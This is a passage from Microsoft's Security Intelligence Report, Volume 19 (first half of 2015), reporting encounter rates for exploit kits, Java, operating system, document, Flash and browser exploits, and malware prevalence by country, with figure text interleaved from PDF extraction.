Windows 8 user receives a malicious file that attempts to exploit that vulnerability, Windows Defender is designed to detect and block it anyway. Encounter data provides important information about which products and vulnerabilities are being targeted by 13 See the Microsoft Security Update Guide, Second Edition at the Microsoft Download Center (www.microsoft.com/download) for guidance to help protect your IT infrastructure while creating a safer, more secure computing and Internet environment. 14 See technet.microsoft.com/security/bulletin to search and read Microsoft Security Bulletins. 40 EXPLOITS attackers, and by what means. However, the statistics presented in this report should not be interpreted as evidence of successful exploit attempts, or of the relative vulnerability of computers to different exploits. Figure 27 shows the prevalence of different types of exploits detected by Microsoft antimalware products from 3Q14 to 2Q15, by encounter rate. Encounter rate is the percentage of computers running Microsoft real-time security products that report a malware encounter. For example, the encounter rate for Java exploit attempts in 2Q15 was 0.35 percent, meaning that 0.35 percent of computers running Microsoft real-time security software in 2Q15 encountered Java exploit attempts, and 99.65 percent did not. In other words, a computer selected at random would have had about a 0.35 percent chance of encountering a Java exploit attempt in 2Q15. Only computers whose users have opted in to provide data to Microsoft are considered when calculating encounter rates.15 See page 58 for more information about the encounter rate metric. Figure 27. Encounter rates for different types of exploit attempts, 3Q14 2Q15 Encounter rate (percent of all reporting computers) 2.0% 1.5% 1.0% Exploit kits* 0.5% 0.0% 3Q14 4Q14 1Q15 2Q15 Operating system Other Java* HTML/JavaScript Adobe Flash Player* Documents Browser * Figures for exploit kits, Java, and Adobe Flash Player exploits are affected by IExtensionValidation in Internet Explorer, which blocks many threats before they are encountered. See page 55 for more information. 15 For information about the products and services that provide data for this report, see Appendix B: Data sources on page 129. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 41 Computers that report more than one type of exploit are counted for each type detected. Encounters with exploit kits decreased by more than a third between 4Q14 and 2Q15, but remained the most commonly encountered type of exploit in the second half of the year, with an encounter rate more than three times as high as the next most common type of exploit. See Exploit kits on page 44 for more information about these exploits. Encounters with exploit kits decreased by more than a third, but remained the most commonly encountered type of exploit in 2H15. The number of encounters with exploits that target operating systems remained mostly stable in 1H15, becoming the second most commonly encountered type of exploits during the period. See Operating system exploits on page 49 for more information. Encounters with Java exploits decreased each quarter, becoming the third most commonly encountered type of exploit in 1H15. See Java exploits on page 47 for more information. The Other category increased from very low levels in 1Q15 and previous periods to become the third most commonly encountered exploit category in 2Q15, mostly because of encounters involving Win32/Sdbby. Sdbby is a generic detection for malware that bypasses the User Account Control (UAC) prompt to gain administrative privileges on a computer. It was encountered at very low volumes in 1Q15, then became the fourth most commonly encountered exploit family in 2Q15. The number of encounters involving other types of exploits remained mostly stable during the second half of the year, and each accounted for a small percentage of total exploits. Exploit families Figure 28 lists the exploit-related malware families that were detected most often during the first half of 2015. 42 EXPLOITS Figure 28. Quarterly encounter rate trends for the exploit families most commonly detected and blocked by Microsoft real-time antimalware products in 1H15, shaded according to relative prevalence Exploit Type 3Q14 4Q14 1Q15 2Q15 JS/Axpergle Exploit kit 0.87% 0.86% 0.85% 0.64% CVE-2010-2568 (CplLnk) Operating system 0.35% 0.35% 0.30% 0.23% JS/Fiexp Exploit kit 0.31% 0.30% 0.21% 0.05% Win32/Anogre Exploit kit 0.60% 0.42% 0.22% 0.04% JS/Neclu Exploit kit 0.11% 0.06% 0.03% 0.14% HTML/IframeRef Generic 0.10% 0.09% 0.07% 0.05% HTML/Meadgive Exploit kit 0.15% 0.08% 0.06% 0.05% JS/NeutrinoEK Exploit kit 0.00% 0.01% 0.07% 0.04% Win32/Sdbby Other 0.00% 0.09% CVE-2014-6332 Operating system 0.03% 0.04% 0.05% Totals for individual vulnerabilities do not include exploits that were detected as part of exploit kits. Exploit kits accounted for six of the 10 most commonly encountered exploits during 1H15. See Exploit kits on page 44 for more information about exploit kits. Exploits targeting the Java Runtime Environment (JRE) have gone from seven of the top 10 individual exploits detected in 2H13 to none in 1H15. A number of changes that were made to Java and Internet Explorer over the past two years have made it much more difficult for attackers to take advantage of Java-based vulnerabilities, which is the most likely explanation for this significant decrease. (See Java exploits on page 47 for more information.) CVE-2010-2568, the most commonly targeted individual vulnerability in 1H15, is a vulnerability in Windows Shell. Detections are often identified as variants in the Win32/CplLnk family, although several other malware families attempt to exploit the vulnerability as well. An attacker exploits CVE-20102568 by creating a malformed shortcut file typically distributed through social engineering or other methods that forces a vulnerable computer to load a malicious file when the shortcut icon is displayed in Windows Explorer. The vulnerability was first discovered being used by the malware family Win32/Stuxnet in mid-2010, and it has since been exploited by a number of other families, many of which predated the disclosure of the vulnerability and were subsequently adapted to attempt to exploit it. Microsoft published Security Bulletin MS10-046 in August 2010 to address MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 43 the issue, and Windows 8 and Windows 8.1 have never been vulnerable to exploits of CVE-2010-2568. HTML/IframeRef is a generic detection for specially formed HTML inline frame (IFrame) tags that redirect to remote websites that contain malicious content. More properly considered exploit downloaders than true exploits, these malicious pages use a variety of techniques to exploit vulnerabilities in browsers and plug-ins. The only commonality is that the attacker uses an inline frame to deliver the exploits to users. The exact exploit delivered and detected by one of these inline frames might be changed frequently. CVE-2014-6332 is a vulnerability in Windows Object Linking and Embedding (OLE) that can be used to launch remote attacks on a computer through Internet Explorer in some circumstances. Microsoft released Security Bulletin MS14-064 in November 2014 to address this issue. See The life and times of an exploit on pages 3 10 of Microsoft Security Intelligence Report, Volume 18 (July December 2014), available from the Microsoft Download Center, for more information about this vulnerability and what Microsoft has done to mitigate it. Exploit kits Exploit kits are collections of exploits bundled together and sold as commercial software or as a service. Prospective attackers buy or rent exploit kits on malicious hacker forums and through other illegitimate outlets. A typical kit comprises a collection of webpages that contain exploits for several vulnerabilities in popular web browsers and browser add-ons. When the attacker installs the kit on a malicious or compromised web server, visitors who t have the appropriate security updates installed are at risk of having their computers compromised through drive-by download attacks. (See page 105 for more information about drive-by downloads.) 44 EXPLOITS Figure 29. How a typical exploit kit works Microsoft security products detect and block the characteristic techniques that a number of common exploit kits use to infect computers, along with several generic HTML and JavaScript exploit techniques. Figure 30 shows the prevalence of several top web-based exploit kits and techniques during each of the four most recent quarters. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 45 Figure 30. Trends for the top exploit kit-related threats detected and blocked by Microsoft real-time antimalware products in 1H15 Encounter rate (percent of all reporting computers) 1.0% 0.9% 0.8% 0.7% JS/Axpergle (Angler) 0.6% 0.5% 0.4% 0.3% 0.2% JS/Neclu (Nuclear) 0.1% JS/Fiexp (Fiesta) HTML/Meadgive (Redkit) 0.0% 3Q14 4Q14 1Q15 2Q15 Win32/Anogre (Sweet Orange) JS/Axpergle, a detection for the so-called Angler exploit kit, was the most commonly encountered exploit kit family in 1H15. The Angler kit first appeared in 3Q14 and rapidly increased in prominence during the second quarter. It is known to target a number of vulnerabilities in Silverlight (CVE2013-0074), Internet Explorer (CVE-2013-2551), Adobe Flash Exploit kit authors Player (CVE-2014-8439, CVE-2015-0311, and CVE-2015-0313, update the exploits among others), and Java (CVE-2013-2460), although exploit kit authors frequently change the exploits included in their kits in an they use fre- effort to stay ahead of software publishers and security software quently, adding vendors. exploits for newly discovered vulnerabilities while dropping poorly performing ones. After decreasing to low levels in 2H14, detections of the Nuclear exploit kit (detected as JS/Neclu) reversed course and began trending upward in 2015, making it the second most commonly encountered exploit kit in 2Q15. Encounters involving the Sweet Orange and Fiesta exploit kits (detected as Win32/Anogre and JS/Fiexp, respectively), the second and third most commonly encountered exploit kits in 2H14, decreased to much lower levels in 1H15. Exploit kit authors update the exploits they use frequently, adding exploits for newly discovered vulnerabilities while dropping poorly performing ones. Figure 46 EXPLOITS 31 lists some of the exploits that researchers have observed being added to a number of prominent exploit kits in 1H15. Figure 31. Newly discovered exploits observed being used by exploit kits in 1H15 Vulnerability Exploit type Addressed by Exploit kit(s) CVE-2015-0310 Adobe Flash Player APSB15-02 Angler (JS/Axpergle) CVE-2015-0311 Adobe Flash Player APSB15-03 Angler CVE-2015-0313 Adobe Flash Player APSB15-04 Angler CVE-2015-0336 Adobe Flash Player APSB15-05 Nuclear (JS/Neclu); Angler CVE-2015-0359 Adobe Flash Player APSB15-06 Angler CVE-2015-3090 Adobe Flash Player APSB15-09 Angler CVE-2015-3104 Adobe Flash Player APSB15-11 Angler CVE-2015-3105 Adobe Flash Player APSB15-11 Magnitude (HTML/Pangimop) CVE-2015-3113 Adobe Flash Player APSB15-14 Magnitude Java exploits Figure 32 shows the prevalence of different Java exploits by quarter. Figure 32. Trends for the top Java exploits detected and blocked by Microsoft real-time antimalware products in 1H15 Encounter rate (percent of all reporting computers) 0.12% 0.10% 0.08% 0.06% 0.04% CVE-2012-1723 Obfuscator 0.02% CVE-2010-0840 CVE-2012-0507 CVE-2013-0422 0.00% 3Q14 4Q14 1Q15 2Q15 MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 47 Overall, encounters with Java exploits continued to decrease significantly in 1H15. This decrease is likely caused by several important changes in the way web browsers evaluate and execute Java applets: The IExtensionValidation interface in Internet Explorer 11, released in late IExtensionValidation in Internet Explorer 11 provides a mechanism for security software to validate that a webpage is safe before allowing instantiation of ActiveX controls. 2013, provides a mechanism for security software to validate that a webpage is safe before allowing instantiation of ActiveX controls, such as the control that hosts embedded Java applets. If a webpage is determined to be malicious, the ActiveX controls are blocked from loading, and the actual Java exploit itself is therefore never encountered. (See Exploit detection with Internet Explorer and IExtensionValidation on page 55 for more information.) Subsequent Internet Explorer security updates released in 2014 added an isolated heap mechanism and a deferred-free method to mitigate use-after-free bugs, which further hardened Internet Explorer against Java exploitation. Beginning with Java 7 update 51, released in January 2014, the Java Runtime Environment (JRE) requires Java applets running in web browsers to be digitally signed by default. In September 2014, Microsoft published updates for versions 8 through 11 of Internet Explorer to begin blocking out-of-date ActiveX controls, including controls that host older versions of the JRE in the browser. As explained in this section, the most commonly encountered Java exploits all target vulnerabilities that were addressed with security updates years ago, but remain present in out-of-date Java installations. When a webpage attempts to load one of the vulnerable versions of Java in Internet Explorer with the update applied, the control is blocked by default and the user is urged to update Java to a more secure version. Figure 33. Internet Explorer blocks out-of-date ActiveX controls from running 48 EXPLOITS CVE-2012-1723, the most commonly encountered individual Java exploit in 2Q15 and the second most common in 1Q15, is a type-confusion vulnerability in the Java Runtime Environment (JRE) that is exploited by tricking the JRE into treating one type of variable like another type. Oracle confirmed the existence of the vulnerability in June 2012, and addressed it the same month with its June 2012 Critical Patch Update. The vulnerability was observed being exploited in the wild beginning in early July 2012, and has been used in a number of exploit kits. For more information about this exploit, see the entry The rise of a new Java vulnerability - CVE-2012-1723 (August 1, 2012) in the Microsoft Malware Protection Center (MMPC) blog at blogs.technet.com/mmpc. Internet Explorer has begun blocking out-of-date ActiveX controls, including controls that host older versions of the JRE in the browser. Obfuscator is a generic detection for programs that have been modified by malware obfuscation, often in an attempt to avoid detection by security software. Files identified as Java/Obfuscator can represent exploits that target many different Java vulnerabilities. CVE-2010-0840 is a JRE vulnerability that was first disclosed in March 2010 and addressed by Oracle with a security update the same month. The vulnerability was previously exploited by some versions of the Blackhole exploit kit (detected as JS/Blacole), which has been inactive in recent years. CVE-2012-0507 allows an unsigned Java applet to gain elevated permissions and potentially have unrestricted access to a host system outside its sandbox environment. The vulnerability is a logic error that allows attackers to run code with the privileges of the current user, which means that an attacker can use it to perform reliable exploitation on other platforms that support the JRE, including Apple Mac OS X, Linux, VMWare, and others. Oracle released a security update in February 2012 to address the issue. CVE-2013-0422 first appeared in January 2013 as a zero-day vulnerability. CVE-2013-0422 is a package access check vulnerability that allows an untrusted Java applet to access code in a trusted class, which then loads the attacker s own class with elevated privileges. Oracle published a security update to address the vulnerability on January 13, 2013. For more information about CVE-2013-0422, see the entry A technical analysis of a new Java vulnerability (CVE-2013-0422) (January 20, 2013) in the MMPC blog at blogs.technet.com/mmpc. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 49 Operating system exploits Although most operating system exploits detected by Microsoft security products are designed to affect the platforms on which the security products run, malicious or infected files that affect other operating systems are sometimes downloaded. Figure 34 shows trends for the individual exploits most commonly detected and blocked or removed during each of the past four quarters. Figure 34. Individual operating system exploits detected and blocked by Microsoft real-time antimalware products, 3Q14 2Q15 Encounter rate (percent of all reporting computers) 0.40% 0.35% 0.30% 0.25% Win32/CplLnk 0.20% 0.15% 0.10% CVE-2014-6332 Unix/Lotoor CVE-2011-1823 0.05% 0.00% (GingerBreak) 3Q14 50 EXPLOITS 4Q14 1Q15 2Q15 CVE-2011-3874 Win32/CplLnk, an exploit that targets a vulnerability in Windows Shell, remained the most commonly encountered operating system exploit in 1H15. An attacker exploits the vulnerability (CVE-2010-2568) by creating a malformed shortcut file that forces a vulnerable computer to load a malicious file when the shortcut icon is displayed in Windows Explorer. Microsoft released Security Bulletin MS10-046 in August 2010 to address this issue. CVE-2014-6332 is a vulnerability in Windows Object Linking and Embedding (OLE) that can be used to perform remote attacks on a computer through Internet Explorer in some circumstances. Microsoft released Security Bulletin MS14-064 in November 2014 to address this issue. See The life and times of an exploit on pages 3 10 of Microsoft Security Intelligence Report, Volume 18 (July December 2014), available from the Microsoft Download Center, for more information about this vulnerability and what Microsoft has done to mitigate it. Three of the five most commonly encountered operating system exploits on Windows computers in 1H15 actually target the Android mobile operating system published by Google and the Open Handset Alliance. Microsoft security products detect these threats when Android devices or storage cards are connected to computers running Windows, or when Android users knowingly or unknowingly download infected or malicious programs to their computers before transferring the software to their devices. Most detections that affect Android involve exploits that enable an attacker or other user to obtain root privileges on vulnerable Android devices. Device owners sometimes use such exploits intentionally to gain Three of the five access to additional functionality (a practice often called rooting or jailbreaking), but these exploits can also be most commonly used by attackers to infect devices with malware that encountered operbypasses many typical security systems. Unix/Lotoor is an exploit family that exploits vulnerabilities in the Android operating system to gain root privileges on a mobile device. Google published a source code update in March 2011 that addressed the vulnerability. CVE-2011-1823 is sometimes called the GingerBreak vulnerability because of its use by a popular rooting ating system exploits on Windows computers in 1H15 actually target the Android mobile operating system. application of that name. It is also used by AndroidOS/GingerMaster, a malicious program that can allow a remote attacker to gain access to the mobile device. GingerMaster might be bundled with clean applications, and includes an exploit for the CVE2011-1823 vulnerability disguised as an image file. Google published a source code update in May 2011 that addressed the vulnerability. CVE-2011-3874 can also be used to gain root privileges on devices running some versions of Android. Google published a source code update in November 2011 that addressed the vulnerability. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 51 Document exploits Document exploits are exploits that target vulnerabilities in the way a document editing or viewing application processes a particular file format. Figure 35 shows encounter rates for individual exploits. Figure 35. Individual document exploits detected and blocked by Microsoft real-time antimalware products, 3Q14 2Q15 Encounter rate (percent of all reporting computers) 0.07% 0.06% 0.05% 0.04% 0.03% 0.02% 0.01% 0.00% 3Q14 4Q14 1Q15 2Q15 Win32/Pdfjsc CVE-2012-0158 Win32/Wordinvop CVE-2010-3336 Win32/Wordjmp Most detections of exploits that affect Adobe Reader and Adobe Acrobat were associated with the exploit family Win32/Pdfjsc, a detection for PDF files containing malicious JavaScript that targets CVE-2010-0188 and other vulnerabilities. Adobe released Security Bulletin APSB10-07 in February 2010 to address CVE-2010-0188. Pdfjsc and related exploits were particularly prevalent in eastern Europe. Pdfjsc mostly targets older Java vulnerabilities, so attackers may find it less useful as more computers are updated to newer versions of Java, which could explain the decrease in encounters over the past several quarters. Adobe Flash Player exploits Figure 36 shows the prevalence of different Adobe Flash Player exploits by quarter. 52 EXPLOITS Figure 36. Adobe Flash Player exploits detected and blocked by Microsoft real-time antimalware products, 3Q14 2Q15 Encounter rate (percent of all reporting computers) 0.035% Obfuscator 0.030% 0.025% 0.020% 0.015% 0.010% 0.005% 0.000% 3Q14 4Q14 1Q15 2Q15 Encounters involving Obfuscator variants that target Adobe Flash Player increased from very low levels in 1Q15 to become the largest source of Flash Player-related exploit encounters in 2Q15. Most of these encounters involved two newly discovered threats: Exploit:SWF/Obfuscator.K targets CVE-2014-8439, CVE-2015-0311, CVE-2015-0313, and CVE-2015-0359; Exploit:SWF/Obfuscator.L mainly targets CVE-2015-0336. CVE-2014-0515, the most commonly exploited Adobe Flash Player vulnerability in 1Q15 and the second most common in 1H15 overall, is a buffer overflow vulnerability. Adobe released Security Bulletin APSB14-13 on April 28, 2014 to address the issue. CVE-2015-0359, a double free vulnerability, was first disclosed in April 2015 and became the second most commonly encountered Adobe Flash Player exploit in the second quarter. Adobe released Security Bulletin APSB15-06 on April 14 to address the issue. CVE-2014-0497 is an integer underflow vulnerability. Adobe released Security Bulletin APSB14-04 on February 4, 2014 to address the issue. CVE-2015-0359 CVE-2014-0515 CVE-2015-0311 CVE-2014-0497 Browser exploits Figure 37 shows the prevalence of different browser exploits by quarter. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 53 Figure 37. Browser exploits detected and blocked by Microsoft real-time antimalware products, 3Q14 2Q15 Encounter rate (percent of all reporting computers) 0.025% 0.020% CVE-2013-7331 (MS14-052) 0.015% 0.010% MS09-002 CVE-2014-0322 0.005% (MS14-012) CVE-2012-1889 (MS12-043) CVE-2013-2551 0.000% 3Q14 54 EXPLOITS 4Q14 1Q15 2Q15 (MS13-037) Exploits targeting CVE-2013-7331, a vulnerability affecting the Microsoft.XMLDOM ActiveX control in Internet Explorer, accounted for the largest share of browser-related exploits encountered in 1H15. Exploiting this vulnerability allows an attacker to confirm the existence or nonexistence of arbitrarily specified paths and hostnames in the local environment. Microsoft published Security Bulletin MS14-052 in September 2014 to address the issue. Exploits targeting vulnerabilities addressed by Security Bulletin MS09-002, published by Microsoft in February 2009, accounted for the second largest share of browser-related exploits encountered in 1H15. Of these, most targeted CVE-2009-0075, an uninitialized memory corruption vulnerability in Internet Explorer 7. Encounters involving exploits targeting CVE-2013-2551, a use-after-free vulnerability in versions 6 through 10 of Internet Explorer, accounted for the largest share of browser-related exploit encounters in 2H14, then fell to negligible levels in 1H15 as exploit kit authors dropped them in favor of exploits targeting CVE-2013-7331. Exploit detection with Internet Explorer and IExtensionValidation IExtensionValidation is an interface introduced in Internet Explorer 11 that realtime security software can implement to block ActiveX controls from loading on malicious pages. When Internet Explorer loads a webpage that includes ActiveX controls, if the security software has implemented IExtensionValidation, the browser calls the security software to scan the HTML and script content on the page before loading the controls themselves. If the security software determines that the page is malicious (for example, if it identifies the page as an exploit kit landing page), it can direct Internet Explorer to prevent individual controls or the entire page from loading. Figure 38. Internet Explorer 11 can block pages that contain ActiveX controls if security software determines that the page is malicious Figure 39 shows the types of ActiveX controls identified on malicious webpages in Internet Explorer 11 for each quarter in 2014. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 55 Figure 39. ActiveX controls detected on malicious webpages through IExtensionValidation, 3Q14 2Q15, by control type 100% Percent of IExtensionValidation detections 3Q14 4Q14 Adobe Flash Java 1Q15 Silverlight Adobe Reader 2Q15 Other Adobe Flash Player objects were the most commonly detected type of object hosted on malicious pages in each of the past four quarters. After accounting for a high of 45.3 percent of object detections in 3Q14, detections of Java applets on malicious pages decreased to just Adobe Flash 0.5 percent of detections by 2Q15. A number of changes that objects were the have been made to Java and Internet Explorer over the past two years have made it much more difficult for attackers to take most commonly advantage of Java-based vulnerabilities, which is the most likely detected type of explanation for this significant decrease. (See Java exploits page 47 for more information.) object hosted on malicious pages. Silverlight, Adobe Reader, and other malicious objects each accounted for less than 3 percent of object detections each quarter. Exploits used in targeted attacks A targeted attack is an attack against the computers or networks of a specific group of companies or individuals. This type of attack usually attempts to gain access to the computer or network before trying to steal information or disrupt the infected computers. Figure 40 lists some of the exploits Microsoft has observed being used in targeted attacks in 1H15. 56 EXPLOITS Figure 40. Some of the exploits used in targeted attacks in 1H15 Exploit type Affecting Security update CVE-2015-0097 Word HTA Microsoft Word MS15-022 CVE-2015-1641 Word RTF Microsoft Word MS15-033 CVE-2015-1701 Win32k EoP Microsoft Windows MS15-051 CVE-2015-1769 USB vector Microsoft Windows MS15-085 CVE-2015-1770 Word OSF Microsoft Word MS15-059 CVE-2015-2360 Win32k EoP Microsoft Windows MS15-061 CVE-2015-3043 Flash codec Adobe Flash Player APSB15-06 See the entry Targeted Attacks Video Series (June 13, 2013) on the Microsoft Cyber Trust blog at blogs.microsoft.com/cybertrust for an informative series of videos and papers about targeted attacks, the techniques used by attackers, and some of the steps that organizations can take to secure their networks against targeted attacks. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 57 Malware and unwanted software Most attempts by malware to infect computers are unsuccessful. More than three-quarters of Internet-connected personal computers worldwide are protected by real-time security software that constantly monitors the computers and network traffic for threats and blocks them before they can infect the computers, if possible. Therefore, a comprehensive understanding of the malware landscape requires consideration of infection attempts that are blocked as well as infections that are removed. Microsoft uses two different metrics to measure malware and unwanted software prevalence:16 Encounter rate is simply the percentage of computers running Microsoft real-time security products that report a malware encounter.17 For example, the encounter rate for the malware family JS/Bondat in Mexico in 2Q15 was 4.2 percent. This data means that, of the computers in Mexico that were running Microsoft real-time security software in 2Q15, 4.2 percent reported encountering the Bondat family, and 95.8 percent did not. Encountering a threat does not mean the computer has been infected. Only computers whose users have opted in to provide data to Microsoft are considered when calculating encounter rates.18 16 Microsoft regularly reviews and refines its data collection methodology to improve its scope and accuracy. For this reason, the statistics presented in this volume of the Microsoft Security Intelligence Report may differ slightly from comparable statistics in previous volumes. 17 Encounter rate does not include threats that are blocked by a web browser before being detected by antimalware software. In particular, IExtensionValidation in Internet Explorer 11 enables security software to block pages that contain exploits from loading. (See Exploit detection with Internet Explorer and IExtensionValidation on page 55 for information about IExtensionValidation and the threats it blocks.) For this reason, encounter rate figures may not fully reflect all of the threats encountered by computer users. 18 For information about the products and services that provide data for this report, see Appendix B: Data sources on page 129. 58 MALWARE AND UNWANTED SOFTWARE Computers cleaned per mille, or CCM, is an infection rate metric that is defined as the number of computers cleaned for every 1,000 unique computers that run the Malicious Software Removal Tool (MSRT), a free tool distributed through Microsoft update services that removes more than 200 highly prevalent or serious threats from computers. Because it is not a realtime tool, the MSRT only detects and removes threats that are already present on the computer; it does not block infection attempts as they happen. Figure 41 illustrates the difference between these two metrics. Computers cleaned per 1,000 scanned (CCM) Encounter rate (percent of all reporting computers) Figure 41. Worldwide encounter and infection rates, 2Q14 2Q15, by quarter 3Q14 4Q14 1Q15 Encounter rate 2Q15 Infection rate Figures do not include Brantall, Rotbrow, and Filcout. See Brantall, Rotbrow, and Filcout on page 60 for more information. As Figure 41 shows, and as one would expect, malware encounters are much more common than malware infections. On average, about 17.0 percent of reporting computers worldwide encountered malware over the past four quarters. At the same time, the MSRT removed malware from about 7.1 out of every 1,000 computers, or 0.71 percent. Together, encounter and infection rate information can help provide a broader picture of the malware landscape by offering different perspectives on how malware propagates and how computers get infected. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 59 Brantall, Rotbrow, and Filcout Where noted, the figures in this report omit detections of Win32/Brantall, Win32/Rotbrow, and Win32/Filcout. These three families were involved in an incident in which a rogue developer with access to commercial source code modified the source code to serve as a stealth distribution method for malware without being detected by major security software vendors. When the modification was discovered, it resulted in a significant installed base of commercial software being reclassified as malicious, which had an outsized effect on infection rates. Microsoft believes that the unmodified infection and encounter figures do not create an accurate picture of the worldwide threat landscape over the past year and a half. As a result, totals for the Brantall, Filcout, and Rotbrow families have been removed from the infection and encounter figures presented here where appropriate, as noted. See The Sefnit saga: a timeline on pages 57 64 of Microsoft Security Intelligence Report, Volume 17 (January June 2014), available from the Microsoft Download Center, for a more in-depth explanation of the incident, along with detection statistics and a timeline of events. Malware and unwanted software worldwide The telemetry data generated by Microsoft security products from computers whose administrators or users choose to opt in to provide data to Microsoft includes information about the location of the computer, as determined by IP geolocation. This data makes it possible to compare infection and encounter rates, patterns, and trends in different locations around the world.19 19 For more information about this process, see the entry Determining the Geolocation of Systems Infected with Malware (November 15, 2011) in the Microsoft Cyber Trust Blog (blogs.microsoft.com/cybertrust). 60 MALWARE AND UNWANTED SOFTWARE Figure 42. Encounter rate trends for the locations with the most computers reporting malware and unwanted software encounters in 1H15, by number of computers reporting Country/Region 3Q14 4Q14 1Q15 2Q15 United States 15.4% 11.6% 11.0% 9.8% Brazil 32.9% 21.7% 20.5% 20.2% Russia 27.3% 24.1% 22.8% 17.7% India 38.2% 32.0% 34.9% 31.3% France 22.8% 13.0% 15.8% 13.2% Turkey 35.1% 27.9% 32.0% 28.1% China 18.1% 15.2% 13.1% 13.7% United Kingdom 17.2% 11.4% 12.7% 11.7% Mexico 30.0% 21.7% 22.6% 21.2% Canada 18.1% 12.5% 14.0% 12.5% Figures do not include Brantall, Rotbrow, and Filcout. See Brantall, Rotbrow, and Filcout on page 60 for more information. Locations in Figure 42 are ordered by the number of computers reporting detections in 1H15. As Figure 41 on page 59 illustrates, the worldwide encounter rate increased slightly in 1Q15 before decreasing again in 2Q15, and this pattern is reflected in several of the locations in Figure 42 as well. India, France, Turkey, the United Kingdom, Mexico, and Canada all had small encounter rate increases in the first quarter of 2015, followed by decreases to around the same level as 2Q14. In general, however, encounter rates remained largely stable through the first half of 2015 in all of these locations, without any unusually large increases or decreases. The browser modifiers Win32/KipodToolsCby and Win32/CouponRuc and the adware family Win32/SaverExtension, the three most commonly encountered families worldwide in 1H15, were also the three most commonly encountered families in the United States, France, Turkey, the United Kingdom, Mexico, and Canada, and were all in the top six families encountered in Russia and India. See Threat families beginning on page 74 for more information about these and other malware and unwanted software families. Encounters in the United States in 1H15 were dominated by unwanted software, which accounted for nine of the ten most commonly encountered families. Of these, six were browser modifiers, including CouponRuc and MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 61 KipodToolsCby, the first and third most commonly detected threat families in the US, respectively. The browser modifiers KipodToolsCby, CouponRuc, and Win32/IeEnablerCby were the most commonly detected families in Brazil in 1H15. Families that ranked unusually high in Brazil included Win32/Banload (ranked fourth in Brazil, 54th worldwide), which is usually used to steal login credentials for Brazilian banks, and the worm family JS/Proslikefan (14th in Brazil, 101st worldwide). (See Win32/Banload and Banking Malware on page 21 for more As is typically the information about Banload in Brazil.) case, the threat landscape in China was dominated by malware families that are much less common worldwide. Encounters in Russia were led by Win32/Peals, a family of trojans, and the downloader family Win32/Ogimant, which has a Russian-language interface and masquerades as a downloader for peer-to-peer and torrent services. Detections of Ogimant in Russia decreased from 3.6 percent in 1Q15 to 0.75 percent in 2Q15, but it remained the second most commonly detected family in Russia in 1H15, overall, behind Peals. Other families that were unusually common in Russia in 1H15 included the trojan family Win32/Radonskra (ranked ninth in Russia, 84th worldwide) and the generic trojan detection Win32/Peaac (10th in Russia, 48th worldwide). The mix of threats encountered in India and Turkey were largely similar to the worldwide mix, but each location also reported significant encounters with a threat that appeared to be strongly targeted at a specific region. The worm family MSIL/Mofin (ranked 12th in India, 115th worldwide) was unusually common in India, where more than 85 percent of all Mofin encounters occurred in 1H15. And the trojan family Win32/BeeVry (11th in Turkey, 134th worldwide) was unusually common in Turkey, where more than 98 percent of all BeeVry encounters occurred in 1H15. As is typically the case, the threat landscape in China in 1H15 was dominated by malware families that are much less common worldwide. Of the threats most commonly encountered in China, only the generic detections Win32/Obfuscator, INF/Autorun, and Win32/Dynamer and the trojan family Win32/Ramnit were also commonly encountered worldwide. All of the most commonly encountered families in China in 1H15 were malware families. The most commonly detected unwanted software family in China (KipodToolsCby) ranked 48th there overall. Families that were unusually 62 MALWARE AND UNWANTED SOFTWARE prevalent in China included the virus DOS/JackTheRipper (ranked second in China, 119th worldwide), the downloader HTML/Adodb (fifth in China, 108th worldwide), and the worm ALisp/Kenilfe (seventh in China, 125th worldwide). The downloader family W97M/Adnel was unusually prevalent in the United Kingdom (ranked 12th in the UK, 98th worldwide). The rogue security software family JS/FakeCall was unusually prevalent in Canada (ranked 11th in Canada, 96th worldwide). For a different perspective on threat patterns worldwide, Figure 43 shows the infection and encounter rates in locations around the world in 2Q15. Figure 43. Encounter rates (top) and infection rates (bottom) by country/region in 2Q15 Figures do not include Brantall, Rotbrow, and Filcout. See Brantall, Rotbrow, and Filcout on page 60 for more information. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 63 The next several figures illustrate trends for specific locations around the world with particularly high or low incidences of threat detection. Figure 44 and Figure 45 show trends for the locations with the highest rates of detection as determined by encounter rate and CCM, respectively. Figure 44. Trends for the five locations with the highest encounter rates in 1H15 (100,000 reporting computers minimum) Encounter rate (percent of all reporting computers) Pakistan Indonesia Algeria Bangladesh Nepal Worldwide 3Q14 4Q14 1Q15 2Q15 Figures do not include Brantall, Rotbrow, and Filcout. See Brantall, Rotbrow, and Filcout on page 60 for more information. Figure 45. Trends for the five locations with the highest infection rates in 1H15, by CCM (100,000 MSRT computers minimum) Computers cleaned per 1,000 scanned (CCM) Iraq Libya Palestinian Authority Morocco Pakistan Worldwide 3Q14 4Q14 1Q15 2Q15 Figures do not include Brantall, Rotbrow, and Filcout. See Brantall, Rotbrow, and Filcout on page 60 for more information. 64 MALWARE AND UNWANTED SOFTWARE The locations with the highest encounter rates were Pakistan, Indonesia, Algeria, Bangladesh, and Nepal. Pakistan, Indonesia, and Algeria also had the highest encounter rates in 2H14. As in 2H14, exploit kits were relatively rare in the locations with the highest encounter rates. JS/Axpergle, the most commonly encountered exploit kit worldwide in 1H15, ranked no higher than 34th in any of the locations with the highest encounter rates. Unwanted software was highly prevalent in these locations, as it was worldwide in 1H15. The browser modifiers Win32/KipodToolsCby and Win32/CouponRuc and the adware family Win32/SaverExtension, the three most commonly encountered families worldwide in 1H15, were all among the top nine families encountered in all of the locations with the highest encounter rates. Families that were unusually prevalent in Pakistan As in 2H14, exploit kits were 